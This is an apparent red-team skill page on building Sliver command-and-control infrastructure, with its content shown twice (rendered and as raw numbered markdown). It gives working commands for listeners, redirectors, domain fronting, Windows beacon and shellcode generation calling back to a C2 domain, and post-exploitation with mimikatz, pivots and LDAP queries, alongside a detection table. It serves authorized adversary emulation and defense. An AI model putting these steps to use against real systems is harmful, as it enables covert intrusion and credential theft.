Building C2 Infrastructure with Sliver Framework
Overview
Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.
Objectives
- Deploy a Sliver team server on hardened cloud infrastructure
- Configure HTTPS, mTLS, DNS, and WireGuard listeners
- Generate implants (beacons and sessions) for target platforms
- Set up NGINX or Apache redirectors between implants and the team server
- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation
- Configure multi-operator access with certificate-based authentication
- Establish operational security controls for C2 communications
MITRE ATT&CK Mapping
- T1071.001 - Application Layer Protocol: Web Protocols
- T1071.004 - Application Layer Protocol: DNS
- T1573.002 - Encrypted Channel: Asymmetric Cryptography
- T1090.002 - Proxy: External Proxy (Redirectors)
- T1105 - Ingress Tool Transfer
- T1132.001 - Data Encoding: Standard Encoding
- T1572 - Protocol Tunneling
Implementation Steps
Phase 1: Team Server Deployment
- Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server
- Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban
- Install Sliver using the official install script:
curl https://sliver.sh/install | sudo bash
- Start the Sliver server daemon:
systemctl start sliver
# Or run interactively
sliver-server
- Generate operator configuration files for team members:
new-operator --name operator1 --lhost <team-server-ip>
Phase 2: Listener Configuration
- Configure an HTTPS listener with a legitimate SSL certificate:
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
- Configure a DNS listener for fallback C2:
dns --domains c2dns.example.com --lport 53
- Configure mTLS listener for high-security sessions:
mtls --lhost 0.0.0.0 --lport 8888
- Configure WireGuard listener for tunneled access:
wg --lport 51820
Phase 3: Redirector Setup
- Deploy a separate VPS as a redirector (positioned between targets and team server)
- Install and configure NGINX as a reverse proxy:
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
- Configure iptables rules on the team server to only accept connections from the redirector:
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
- Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting
Phase 4: Implant Generation
- Generate an HTTPS beacon implant:
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
- Generate a DNS beacon for restricted networks:
generate beacon --dns c2dns.example.com --os windows --arch amd64
- Generate a shellcode payload for injection:
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
- Configure beacon jitter and callback intervals:
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
Phase 5: Post-Exploitation Operations
- Interact with active beacons/sessions:
beacons # List active beacons
use <beacon-id> # Interact with a beacon
- Execute post-exploitation modules:
ps # Process listing
netstat # Network connections
execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies
sideload /path/to/mimikatz.dll # Load DLLs
- Set up pivots for internal network access:
pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host
- Use BOF (Beacon Object Files) for in-memory execution:
armory install sa-ldapsearch # Install from armory
sa-ldapsearch -- "(objectClass=user)" # Execute BOF
Tools and Resources
| Tool |
Purpose |
Platform |
| Sliver Server |
C2 team server and implant management |
Linux/macOS/Windows |
| Sliver Client |
Operator console for team members |
Cross-platform |
| NGINX |
Redirector and reverse proxy |
Linux |
| Certbot |
Let's Encrypt SSL certificate generation |
Linux |
| Cloudflare |
CDN and domain fronting |
Cloud |
| Armory |
Sliver extension/BOF package manager |
Built-in |
Detection Signatures
| Indicator |
Detection Method |
| Default Sliver HTTP headers |
Network traffic analysis for unusual User-Agent strings |
| mTLS on non-standard ports |
Firewall logs for outbound connections to unusual ports |
| DNS TXT record queries with high entropy |
DNS log analysis for encoded C2 traffic |
| WireGuard UDP traffic on port 51820 |
Network flow analysis for WireGuard handshake patterns |
| Sliver implant file hashes |
EDR/AV signature matching against known Sliver samples |
Validation Criteria
1---2name: building-c2-infrastructure-with-sliver-framework3description: Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.4domain: cybersecurity5subdomain: red-teaming6tags: [red-team, c2-framework, sliver, command-and-control, adversary-simulation, infrastructure, post-exploitation]7version: "1.0"8author: mahipal9license: MIT10metadata:11 source: https://skillmd.com/skills/njones17/building-c2-infrastructure-with-sliver-framework12---1314# Building C2 Infrastructure with Sliver Framework1516## Overview1718Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.1920## Objectives2122- Deploy a Sliver team server on hardened cloud infrastructure23- Configure HTTPS, mTLS, DNS, and WireGuard listeners24- Generate implants (beacons and sessions) for target platforms25- Set up NGINX or Apache redirectors between implants and the team server26- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation27- Configure multi-operator access with certificate-based authentication28- Establish operational security controls for C2 communications2930## MITRE ATT&CK Mapping3132- **T1071.001** - Application Layer Protocol: Web Protocols33- **T1071.004** - Application Layer Protocol: DNS34- **T1573.002** - Encrypted Channel: Asymmetric Cryptography35- **T1090.002** - Proxy: External Proxy (Redirectors)36- **T1105** - Ingress Tool Transfer37- **T1132.001** - Data Encoding: Standard Encoding38- **T1572** - Protocol Tunneling3940## Implementation Steps4142### Phase 1: Team Server Deployment431. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server442. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban453. Install Sliver using the official install script:46 ```bash47 curl https://sliver.sh/install | sudo bash48 ```494. Start the Sliver server daemon:50 ```bash51 systemctl start sliver52 # Or run interactively53 sliver-server54 ```555. Generate operator configuration files for team members:56 ```bash57 new-operator --name operator1 --lhost <team-server-ip>58 ```5960### Phase 2: Listener Configuration611. Configure an HTTPS listener with a legitimate SSL certificate:62 ```bash63 https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem64 ```652. Configure a DNS listener for fallback C2:66 ```bash67 dns --domains c2dns.example.com --lport 5368 ```693. Configure mTLS listener for high-security sessions:70 ```bash71 mtls --lhost 0.0.0.0 --lport 888872 ```734. Configure WireGuard listener for tunneled access:74 ```bash75 wg --lport 5182076 ```7778### Phase 3: Redirector Setup791. Deploy a separate VPS as a redirector (positioned between targets and team server)802. Install and configure NGINX as a reverse proxy:81 ```nginx82 server {83 listen 443 ssl;84 server_name c2.example.com;85 ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;86 ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;8788 location / {89 proxy_pass https://<team-server-ip>:443;90 proxy_ssl_verify off;91 proxy_set_header Host $host;92 proxy_set_header X-Real-IP $remote_addr;93 }94 }95 ```963. Configure iptables rules on the team server to only accept connections from the redirector:97 ```bash98 iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT99 iptables -A INPUT -p tcp --dport 443 -j DROP100 ```1014. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting102103### Phase 4: Implant Generation1041. Generate an HTTPS beacon implant:105 ```bash106 generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload107 ```1082. Generate a DNS beacon for restricted networks:109 ```bash110 generate beacon --dns c2dns.example.com --os windows --arch amd64111 ```1123. Generate a shellcode payload for injection:113 ```bash114 generate --http https://c2.example.com --os windows --arch amd64 --format shellcode115 ```1164. Configure beacon jitter and callback intervals:117 ```bash118 generate beacon --http https://c2.example.com --seconds 60 --jitter 30119 ```120121### Phase 5: Post-Exploitation Operations1221. Interact with active beacons/sessions:123 ```bash124 beacons # List active beacons125 use <beacon-id> # Interact with a beacon126 ```1272. Execute post-exploitation modules:128 ```bash129 ps # Process listing130 netstat # Network connections131 execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies132 sideload /path/to/mimikatz.dll # Load DLLs133 ```1343. Set up pivots for internal network access:135 ```bash136 pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host137 ```1384. Use BOF (Beacon Object Files) for in-memory execution:139 ```bash140 armory install sa-ldapsearch # Install from armory141 sa-ldapsearch -- "(objectClass=user)" # Execute BOF142 ```143144## Tools and Resources145146| Tool | Purpose | Platform |147|------|---------|----------|148| Sliver Server | C2 team server and implant management | Linux/macOS/Windows |149| Sliver Client | Operator console for team members | Cross-platform |150| NGINX | Redirector and reverse proxy | Linux |151| Certbot | Let's Encrypt SSL certificate generation | Linux |152| Cloudflare | CDN and domain fronting | Cloud |153| Armory | Sliver extension/BOF package manager | Built-in |154155## Detection Signatures156157| Indicator | Detection Method |158|-----------|-----------------|159| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |160| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |161| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |162| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |163| Sliver implant file hashes | EDR/AV signature matching against known Sliver samples |164165## Validation Criteria166167- [ ] Team server deployed and hardened with firewall rules168- [ ] HTTPS listener configured with valid SSL certificate169- [ ] DNS listener configured as fallback C2 channel170- [ ] At least one redirector deployed between targets and team server171- [ ] Multi-operator access configured with unique certificates172- [ ] Implants generated for target operating systems173- [ ] Beacon callback intervals and jitter configured for stealth174- [ ] Post-exploitation modules tested (process listing, .NET assembly execution)175- [ ] Pivot functionality validated for internal network access176- [ ] All C2 traffic encrypted and passing through redirectors